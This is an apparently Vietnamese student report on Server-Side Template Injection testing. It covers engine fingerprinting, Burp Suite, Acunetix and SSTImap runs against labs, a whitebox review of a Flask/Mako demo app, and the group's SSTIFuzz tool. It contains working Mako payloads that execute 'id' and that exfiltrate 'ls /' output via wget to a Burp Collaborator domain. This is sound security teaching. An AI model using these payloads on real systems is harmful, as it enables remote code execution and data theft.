Trang 23Hiện tại trên mạng có rất nhiều template engine, nhưng đa số chúng đều có cúpháp giống nhau hoặc tương tự nhau Nên từ đó việc xác định xem website đang sửdụng loại template nào có thể được thực hiện bằng việc tiếp tục gửi các payload thử
để xem kết quả trả về, từ đó loại bớt dần những template không hợp lý
Việc sử dụng các payload đặc trưng cho từng loại template sẽ khá hiệu quảtrong trường hợp ta biết được đối với từng loại template thì kết quả cho ra sẽ là gì.Điều này yêu cầu ta cần phải học và nắm được cách thức biên dịch và hoạt động củacác loại template, từ đó biết được với một payload cụ thể, kết quả cho ra sẽ như thếnào đối với từng template engine, thu hẹp phạm vi các template được xét tới Phươngpháp phổ biến cho việc này là sử dụng toán tử kết hợp với các cú pháp từ các templatekhác nhau Để cụ thể hóa phương pháp thì em có hình ảnh minh họa sau:
Hình 2.3.2-1 Minh họa quá trình nhận dạng template engine
Trong quá trình học hỏi và tìm tòi, ta hoàn toàn có thể nhận ra rằng mộtpayload có thể thành công với nhiều template, nhưng kết quả trả về có thể lại hoàntoàn khác nhau Lấy ví dụ như payload {{5 * '2'}} sẽ trả về kết quả là 10 nếu nhưtemplate engine sử dụng là Twig của PHP và là 22222 nếu như template engine sửdụng là Jinja2 của Python Nên đừng vội đánh giá đây là template gì khi mới chỉ thửthành công payload {{5 * 2}} mà thu được kết quả là 10
Việc sử dụng ngôn ngữ lập trình để thu hẹp phạm vi xác định cũng là một bước
đi cần thiết khi tiến hành kiểm thử Vì với mỗi ngôn ngữ lập trình ta sẽ có một sốnhững template phổ biến hay được sử dụng đi kèm chúng Ví dụ như đối với ngônngữ PHP thì thường ta sẽ có template engine là Twig và Smarty, NodeJS có
Trang 24Handlebars, Java có Freemarker và Velocity, Python có Jinja2 và Mako, Kết hợpvới phương pháp sử dụng payload đặc trưng cho từng loại template, ta có thể xácđịnh được template engine nào đang được sử dụng một cách nhanh chóng.
Bước đầu tiên là tìm hiểu thông tin về template engine cụ thể đó Ngoại trừ khi
ta đã nắm rõ tường tận về template, việc đọc tài liệu và thông tin về template là khôngbao giờ thừa thãi, việc tìm hiểu cũng giúp rất nhiều để xây dựng lượng kiến thức nềntảng về template, vừa để phục vụ cho cuộc tấn công hiện tại và các cuộc tấn côngtương tự trong tương lai
Một số dạng tài liệu ta nên cân nhắc tìm tới là các cú pháp cơ bản được sử dụngtrong template đó, cách thức template xử lý dữ liệu đầu vào, đặc biệt bên trong các tàiliệu về template thường sẽ có mục Bảo mật (Security) sẽ cung cấp cho ta thông tin vềcác hàm hoặc chức năng có sẵn mà tiềm tàng rủi ro bảo mật cao, đấy cũng là mộtnguồn kiến thức có thể tận dụng cho việc khai thác lỗ hổng Ngoài ra ta cũng nên tìmđến tài liệu về những người đã khai thác trước đó viết để hiểu thêm về cách họ tấncông, và tuyệt vời hơn là payload họ đã dùng để khai thác, từ đó tăng vốn kiến thứctấn công của bản thân bằng cách hiểu cách hoạt động của payload của những người
đã khai thác
Bước thứ hai trong giai đoạn khai thác là khám phá, nếu như chưa có cho mìnhđược một payload hoạt động từ bước thứ nhất, thì tại bước này ta cần phải tìm hiểu vềcác đối tượng liên quan và môi trường xung quanh phạm vi tấn công, kết hợp với việcbrute force các tên biến có khả năng chứa các thông tin nhạy cảm, có thể sử dụngwordlist từ SecLists hoặc Burp Intruder Ở một số template thường chứa một đốitượng dạng như “self” hoặc “environment” sẽ cung cấp thông tin về các đối tượng,phương thức và thuộc tính có trong template Ta có thể sử dụng nó để biết được cóthể sử dụng những đối tượng nào trong phạm vi để phục vụ cho bước cuối cùng
Bước cuối cùng của quá trình khai thác lỗ hổng SSTI chính là tấn công attack, đến bước này thì ta đã có đủ tài liệu về template, cũng như kiến thức vềnguyên lý hoạt động và những đối tượng có thể sử dụng trong phạm vi Kết hợpnhững payload có sẵn cùng với kiến thức của bản thân, ta có thể tạo nên những
Trang 25-payload của riêng mình nhằm vượt qua những biện pháp bảo vệ của nhà phát triển.Thường thì lỗ hổng SSTI sẽ dẫn tới thực thi mã từ xa - RCE, từ đó chiếm toàn quyềnkiểm soát web server, nhưng trong thực tế không phải lúc nào cũng như vậy Trongtrường hợp không thể đạt được RCE ta vẫn có thể nâng cấp lỗ hổng SSTI thànhnhững lỗ hổng khác như SSRF, Path Traversal, để đọc được thông tin nhạy cảm củaserver.
1.7 Tự động hóa kiểm thử SSTI
Trong quá trình kiểm thử các ứng dụng web, việc sử dụng các công cụ tự độnghóa là rất cần thiết để giúp tiết kiệm thời gian và năng lực của người tấn công Cáccông cụ này được thiết kế để tự động thực hiện các hoạt động tấn công, từ việc quét lỗhổng đến khai thác và kiểm soát hệ thống
Các công cụ phổ biến hiện nay như Burp Suite, Acunetix và sstimap đều là cáccông cụ tấn công được sử dụng rộng rãi trong ngành công nghệ thông tin:
- Burp Suite là một công cụ proxy dùng để phân tích cũng như kiểm tra các giaothức web, giúp phát hiện các lỗ hổng bảo mật trên WEB
- Acunetix là một công cụ quét lỗ hổng bảo mật tự động cho các ứng dụng web
và phát hiện các lỗ hổng bảo mật trên trang web
- SSTImap là một công cụ tấn công Server-Side Template Injection được thiết
kế để phát hiện và khai thác các lỗ hổng SSTI trên hệ thống
Như em đã trình bày ở trên, việc kiểm thử SSTI cần sử dụng đến kỹ thuậtfuzzing, thầy cô và các bạn có thể sử dụng các wordlist có sẵn trên Github để kiểmthử nhưng các wordlist đều rất dài và nhiều, nên nếu ta fuzzing từng cái một sẽ rấtmất thời gian và không đem lại hiệu suất cao trong trường hợp ta đang kiểm thử mộtchuỗi các web có kiến trúc hệ thống giống nhau
Tương tự với các ứng dụng web bình thường khác, việc tìm thấy một tham số
là hoàn toàn bình thường và các tham số này chính là một trong những yếu tố dễ bịtấn công nhất cũng như bị nhắm vào để khai thác nhiều nhất
Xét ví dụ dưới đây, tham số ID được truyền vào là ‘VinFast Lux A2.0’ thìtrang web hiện ra tên của loại xe cũng là giá trị của ID, cùng với hình ảnh và một sốchi tiết đi kèm:
Trang 26Hình 2.4-1 Giao diện website của tham số ID=VinFast Lux A2.0
Vậy thì ứng dụng web ở đây dựa vào cái gì để xác định được đối tượng cầntruy xuất dữ liệu? Chính là giá trị VinFast Lux A2.0 mà ta đã đưa vào lúc trước Vàgiá trị này cần được đưa vào truy vấn để thực hiện SELECT dữ liệu với thông tin củachiếc xe có tên VinFast Lux A2.0 này Sau đó dữ liệu được đưa vào template vàrender ra màn hình giao diện website tại brower của người dùng
Giá trị ID là một tham số trên URL mà ta hoàn toàn có thể điều khiển và đưagiá trị tùy ý vào Lợi dụng cơ chế render lỏng lẻo của trang web, ta có thể tiến hànhtấn công SSTI vào tham số này
1.7.1 Tấn công tự động bằng Burp Suite
Sau đây là cách em áp dụng Burp Suite để phát hiện điểm yếu tấn công Side Template Injection bằng chức năng Intruder của Burp Chức năng Intruder làmột trong những công cụ brute force tốt nhất hỗ trợ phát hiện phản hồi, mã trạng thái,thời gian xử lý cũng như độ dài của phản hồi Đó đều là những yếu tố quyết định kếtquả của một cuộc tấn công
Server-Hình 2.4.1-1 Giao diện đặt điểm tấn công trong Intruder - Burp Suite
Trang 27Dựa vào các payload SSTI lấy từ Seclist và PayloadsAllTheThings đã nói ởphần trước, em sẽ đưa vào trong phần payload tấn công và chọn Attack để bắt đầu tấncông:
Hình 2.4.1-2 Giao diện đặt payload trong Intruder-Burpsuite
Sau khi Burp Suite thực hiện tấn công và nhìn vào kết quả, ta có thể dựa vào độ dàicủa phản hồi để đoán xem payload nào có thể gây ra SSTI
Logic sẽ như sau: Khi thực hiện render template để hiển thị thông tin về xe thìphản hồi trả về sẽ là cố định bao nhiêu ký tự đó Nhưng nếu một payload gây ra lỗi
500 cho server thì lượng ký tự sẽ giảm xuống, nếu như payload không gây lỗi nhưngkhông phải cú pháp của template thì số lượng ký tự sẽ tăng lên, và tùy vào lượngthông tin payload đem lại mà lượng ký tự của payload thành công có thể tăng lênhoặc giảm xuống Ta sẽ dựa vào những request tạo ra sự tăng giảm đột ngột như vậy
để phát hiện SSTI
Trang 28Hình 2.4.1-3 Giao diện kết quả tấn công và dấu hiệu
Như ta có thể thấy Burp đã tìm thấy một payload có thể thực thi, phản hồi trả
về có độ dài 4736 ký tự Trong phản hồi là thông tin của file /etc/passwd có trong hệ
thống bằng câu lệnh cat /etc/passwd, chứng tỏ payload này có thể được dùng để thực
thi mã từ xa, thao túng toàn bộ server Đây là những gì mà một người kiểm thử xâmnhập cần thực hiện để phát hiện lỗi SSTI
Ngoài ra còn có một payload khác có cùng độ dài 4736, chứng tỏ payload đócũng có thể sử dụng để khai thác lỗ hổng Server-Side Template Injection trên labnày
Một khi đã biết được payload hoạt động, ta sẽ tiếp tục sử dụng payload đó đểRCE, thực thi các câu lệnh hệ thống nhằm mục đích khám phá môi trường xungquanh, đọc các thông tin và file nhạy cảm, chiếm quyền điều khiển server và tiến sâunhất có thể vào trong hệ thống:
Hình 2.4.1-4 Thực thi câu lệnh id trên hệ thống, biết được người dùng tên www-data
Trang 29Hình 2.4.1-5 Thực thi câu lệnh ls, biết được cấu trúc thư mục webroot
Đó là cách brute force sử dụng chức năng Intruder có trong Burp Suite để pháthiện và khai thác lỗ hổng Server-Side Template Injection
1.7.2 Tấn công tự động bằng Acunetix
Ngoài Burp Suite, ta có thể tự động hoá các bước này mà không cần phải giámsát độ dài bằng các công cụ như Acunetix Công cụ này hiện không phải là miễn phícho tất cả người dùng nhưng nói về độ chính xác của nó thì thuộc top trong thị trườnghiện nay
Hình 2.4.2-1 Kiểm thử SSTI với Acunetix
Từ hình ảnh trên ta có thể thấy Acunetix phát hiện ra lỗ hổng SSTI tại tham số ID, với
giá trị truyền vào là dfb{{98991*97996}}xca ta có kết quả trả về dfb9700722036xca
=> Server đã tính toán phép nhân trên và kết quả được trả về từ response, từ đó bước
đầu xác định template engine sử dụng có thể là Twig hoặc Jinja2
1.7.3 Tấn công tự động bằng SSTImap
Tự động hóa việc phát hiện tấn công SSTI với SSTImap, đây là một trongnhững công cụ khai thác và phát hiện SSTI phổ biến nhất hiện nay, được cho là sự cảitiến từ tool tplmap SSTImap hỗ trợ nhận diện nhiều loại template hơn đồng thời cókhả năng khai thác các phiên bản template engine cao hơn so với tplmap, tuy nhiênchúng vẫn chưa thực sự đầy đủ và vẫn đang trong quá trình phát triển để sở hữu nhiềutính năng hơn
Dù vậy tool vẫn hoạt động rất tốt với các template nó hỗ trợ, sau đây là quátrình em sử dụng tool SSTImap để khai thác lab SSTI sử dụng template engine là
Trang 30Trực quan website:
Hình 2.4.3-1 Giao diện lab SSTI Jinja2
Hình 2.4.3-2 Kiểm thử SSTI với SSTImap
Ta có kết quả là SSTImap đã nhận diện loại template, hệ điều hành máy chủ,ngữ cảnh và payload hoạt động, đồng thời cung cấp môi trường shell để ta thực thicâu lệnh trên máy chủ web, ta có thể tùy ý thực hiện các câu lệnh như id, ls,…:
Hình 2.4.3-3 Kết quả tấn công của SSTImap
Trang 311.8 Kiểm thử SSTI qua mã nguồn ứng dụng (whitebox)
Các ví dụ em đã nêu ở trên đều nằm trong trường hợp người kiểm thử lỗ hổngkhông nắm được mã nguồn của chương trình, nên việc kiểm thử SSTI sẽ mất phầnlớn thời gian vào việc phát hiện và nhận dạng loại template từ đó đưa ra hướng tấncông phù hợp Vì lỗ hổng Server-Side Template Injection phụ thuộc rất nhiều vàotemplate mà bên phát triển sử dụng để render, template hỗ trợ càng nhiều chức năngtiềm tàng rủi ro bảo mật thì khả năng có thể khai thác thành công là càng cao, nên khi
có được mã nguồn, người kiểm thử website sẽ có thể đánh giá, phân tích và đưa ra kếhoạch tấn công, có thể hoàn toàn không cần phải fuzzing để template nào đang được
sử dụng
Dưới đây là một mã nguồn ứng dụng web có chức năng đăng nhập và hiển thịtên người dùng dưới dạng các chữ cái đặc biệt đơn giản Cấu trúc mã nguồn bao gồmcác tệp tin sau:
Hình 2.5-1 Sitemap của mã nguồn ứng dụng web demo
Ta hoàn toàn có thể thấy ngay được đây là một ứng dụng web viết bằng Python và sửdụng thư viện Flask, có 4 tệp tin chứa mã nguồn Python với dấu hiệu là phần mở rộng.py, ta xem xét đến các file quan trọng trong mã nguồn, đó là routes.py và util.py:
File util.py là nơi khai báo các hàm và chức năng website sử dụng trong quá
trình tương tác hoặc giao tiếp với người dùng, nhìn vào trang web sử dụng template
là Mako, tiếp theo đó là website còn sử dụng jwt để lưu trữ thông tin người dùng vàosession:
Hình 2.5-2 Mã nguồn sử dụng template engine Mako và module jwt
Trang 32Tại util.py ta có thể thấy 4 loại font được biến đổi từ các chữ cái có thể nhập vào từ
bàn phím, chỉ có font thứ tư là giữ nguyên không thay đổi cấu trúc chữ cái:
Hình 2.5-3 Một số font biến đổi có trong mã nguồn Ngoài ra ta nhận thấy hàm generate_render nhận đầu vào là các ký tự đã bị biến đổi,
gán thẳng giá trị của từng loại font vào từng hàng trong một bảng được quy định vàrender template này Việc gán thẳng giá trị vào template rồi mới render, chứ khôngđưa giá trị vào sau khi đã compile sẵn template có thể gây ra lỗ hổng SSTI Ta xácđịnh đây là điểm yếu có thể sử dụng để khai thác lỗ hổng Server-Side TemplateInjection:
Hình 2.5-4 Vị trí nhận thấy có thể tấn công SSTI Hàm generate_render trên được sử dụng ở trong hàm spookify, tại đây các ký hiệu được biến đổi và trở thành đầu vào cho hàm generate_render:
Trang 33Hình 2.5-5 Hàm sử dụng chức năng generate_render trong util.py Tại util.py ta cũng thấy sự xuất hiện của hàm xử lý jwt, hàm create_jwt khởi tạo
session có thuộc tính ‘user_id’ mang giá trị là tên đăng nhập của user Hàm
decrypt_jwt dùng để lấy giá trị của thuộc tính ‘user_id’ có trong session của người
dùng:
Hình 2.5-6 Hàm xử lý jwt trong util.py File routes.py có vai trò giúp server xử lý tác vụ khi người dùng request các
đường dẫn hợp lệ của website, từ mã nguồn ta biết được có 2 đường dẫn hợp lệ là: /
và /login
Tại đường dẫn /login, người dùng được nhập vào tài khoản và mật khẩu, websitekiểm tra xem có trường nào người dùng chưa nhập không, nếu không sẽ tiến hành tạo
ra một cookie có tên là session bằng hàm create_jwt ta vừa nói ở trên và chuyển
hướng sang đường dẫn /
Hình 2.5-7 Server xử lý với đường dẫn /login
Trang 34Hình 2.5-8 Giao diện của tính năng đăng nhập
Khi người dùng yêu cầu đến đường dẫn /, trang web sẽ kiểm tra xem liệu người dùng
đã có cookie là session chưa, nếu chưa sẽ hiển thị trang đăng nhập để người dùng
login, còn nếu tồn tại session, server dùng decrypt_jwt lấy giá trị username, sau đó
biến đổi chúng bằng hàm spookify và hiện ra tại index.html:
Hình 2.5-9 Mã nguồn xử lý đường dẫn /
Trang 35Hình 2.5-10 Giao diện trang index
Việc lấy tên đăng nhập mà không kiểm tra dữ liệu đầu vào cùng với việctruyền thẳng dữ liệu vào template chắc chắn sẽ dẫn tới SSTI tại header Cookie củawebsite
Đây chính là điều mà một người kiểm thử cần phải biết và nhận ra khi đọc mã nguồncủa ứng dụng web Những lỗi này thường rất phổ biến khi lập trình viên bỏ qua việclọc dữ liệu trước khi đưa vào sử dụng, hay sử dụng trực tiếp dữ liệu của người dùng
mà không đưa nó vào một placeholder chỉ nhận giá trị để render template
Sau khi đã xác định mã nguồn chứa lỗ hổng Server-Side Template Injectionvới template engine là Mako, ta tiếp tục thực hiện tấn công như đã trình bày ở phầntrước và áp dụng một số kỹ thuật riêng biệt của phần sau:
Ở đây ta có thể triển khai tấn công theo 2 cách, cách thứ nhất là để cho server hiện rathông tin mà ta muốn ngay tại trang web, cách thứ hai là lấy dữ liệu của server và hiểnthị ở một trang web khác do ta kiểm soát, hay còn gọi là Out-of-Band (OOB) attack,tại cách tấn công thứ hai em sẽ sử dụng chức năng Collaborator của Burp Suite để tạodomain và bắt các request đến domain đó
PoC tấn công hiển thị tại trang web: ${self.module.runtime.util.os.popen("id").read()}
- Payload này sẽ kích hoạt ứng dụng web chạy câu lệnh hệ thống id và hiển thị
ra thông tin về người dùng Linux đang chạy dịch vụ web trên máy chủ:
Trang 36Hình 2.5-11 Một PoC đơn giản khai thác SSTI
Hình 2.5-12 Kết quả của PoC thứ nhất
PoC tấn công hiển thị ở website theo dạng request catcher do ta kiểm soát:
${self.module.runtime.util.os.system('wget post-data "$(ls /)"
http://p2srfe9xbkdf6y2ztsow552wcnie64ut.oastify.com')}
- Payload này sẽ khiến ứng dụng web chạy câu lệnh hệ thống wget đến địa chỉ http://p2srfe9xbkdf6y2ztsow552wcnie64ut.oastify.com - là một website được BurpSuite Collaborator tạo ra để Burp Suite có thể lấy và thu được request đến vàresponse đi Câu lệnh trên sẽ gửi một POST request đến domain Burp Suite
Collaborator với nội dung là kết quả của câu lệnh hệ thống ls /
- Mục đích chính của payload là mang nội dung sau khi thực thi của câu lệnh
về hiển thị ở server của mình, cách tấn công này thường được sử dụng trong trườnghợp website không hiển thị trực tiếp kết quả sau khi gửi payload
Trang 37Hình 2.5-13 PoC Out-of-Band attack thực thi câu lệnh ls /
1.9 Thực nghiệm công cụ SSTIFuzz trên PortSwigger
Đối với các dẫn chứng nêu trên mới chỉ là một số phát hiện ở một tham số vàđiểm yếu nhất định Trong khi một ứng dụng web thực tế rất lớn, việc không chỉ cómột tham số và có một vài thậm chí nhiều điểm yếu trong một tham số là hoàn toànhợp lý Trên thực tế, lỗ hổng SSTI rất dễ bị nhầm lẫn với XSS vì khi render templatethì một payload XSS cũng có thể hoạt động trong hoàn cảnh cụ thể, đôi khi ngườikiểm thử trang web sau khi đã phát hiện lỗi XSS ở tham số này sẽ bỏ qua mà khôngtiếp tục khai thác các lỗi khác nữa, vô tình khiến cho một lỗ hổng mang tính nghiêmtrọng cao hơn rất nhiều, có thể gây ra RCE như SSTI bị “bỏ quên”
Bài toán đặt ra: Làm thế nào để kiểm tra và phát hiện được điểm yếu đó?Tổng hợp lại các kết quả trên và qua quá trình tìm tòi và xây dựng, dưới đây làmột công cụ do nhóm phát triển sẽ tự động phát hiện kiểm tra trên một tham số nhấtđịnh xem có thể tấn công SSTI hay không một cách toàn diện nhất Điều này cũngtương tự cách hoạt động của một vài công cụ phổ biến hiện nay
Công cụ sau khi phát hiện điểm yếu sẽ nhận dạng xem website sử dụngtemplate engine gì, hiển thị payload hoạt động và các thông tin về máy chủ, sau đóngười sử dụng công cụ có thể nhập vào câu lệnh hệ thống tùy ý mà họ muốn lên máychủ web và kết quả của câu lệnh đó sẽ hiển thị lên màn hình
Trang 381.9.1 Công cụ SSTIFuzz
Như em đã nói ở các phần trước, lỗ hổng SSTI phụ thuộc rất nhiều vàotemplate đang được sử dụng, để biết được SSTI có xảy ra hay không thì ta cần phảihiểu cú pháp của các template, từ đó xây dựng một bộ payload kiểm tra, phát hiện vàphân loại template engine, sau đó mới có hướng khai thác và tấn công với từngtemplate cụ thể Cho nên trước khi bắt đầu phát hiện kiểm tra lỗ hổng SSTI, ta cần thuthập một bộ các payload vừa để bước đầu phát hiện SSTI, vừa để xác định loạitemplate engine được sử dụng, sau đó là wordlist chứa các payload dùng để khai tháctấn công Server-Side Template Injection ứng theo các template phổ biến.Hiện tại, công cụ do nhóm em phát triển sẽ có khả năng kiểm thử SSTI đối với một sốloại template trong 3 ngôn ngữ lập trình web phổ biến hiện nay:
- PHP: Twig, Smarty
- Python: Jinja2, Mako
- Java: Velocity, Freemarker
Hình 2.6.1-1 Một số template hỗ trợ
Trang 39Một wordlist sẽ có dạng như sau:
Hình 2.6.1-2 Wordlist payload dành cho template engine Mako Sau khi đã có wordlist, ta có hàm read_wordlist dùng để lấy từng dòng ra để sử dụng,
với tham số truyền vào là tên của wordlist cụ thể:
Hình 2.6.1-3 Hàm lấy payload từ wordlist
Công cụ SSTIFuzz hỗ trợ 2 phương thức HTTP là GET và POST tùy vào lựachọn người dùng cung cấp cho công cụ thông qua flag -m Công cụ sẽ sử dụngphương thức tương ứng để gửi đi request, nếu như mã trạng thái trả về là 200 ta sẽ coinhư request được thực thi thành công và sẽ trả về HTTP Response đó:
Hình 2.6.1-4 Hàm gửi HTTP request
Trang 40Để gửi đi payload và lấy kết quả về một cách chính xác, bọn em sử dụngmodule uuid của Python để tạo ra các chuỗi độc nhất nhằm bao quanh payload tấncông, sau đó sử dụng biểu thức chính quy - regex để lấy kết quả trả về:
Hình 2.6.1-5 Hàm khởi tạo payload và kiểm tra kết quả trả về
Dựa theo quy trình kiểm thử lỗ hổng Server-Side Template Injection: Pháthiện, nhận diện và khai thác Nhóm em phát triển công cụ theo 2 giai đoạn cụ thể:Trước khai thác và Khai thác
Trước khai thác
Giai đoạn trước khai thác sẽ bao gồm 2 bước phát hiện và nhận diện Nghĩa làvới một chức năng, công cụ sẽ kiểm tra cả hai việc cùng một lúc: vừa kiểm tra xemwebsite có dính lỗ hổng SSTI tại tham số đó không, vừa phát hiện loại templateengine đang được sử dụng tại ứng dụng web
Trước tiên, công cụ sẽ tính toán phép toán được thực hiện ở trong payloadbằng hàm eval và lưu vào biến result nhằm thực hiện so khớp tại HTTP Response:
Bắt đầu gửi đi payload để nhận dạng template, logic phát hiện của nhóm emphát triển dựa theo ảnh tại bước Nhận dạng trong phần 2.3.2 Ảnh đó đã trình bày kháđầy đủ những payload dùng để phân loại các template phổ biến, để minh họa quátrình đó em có hình ảnh sau: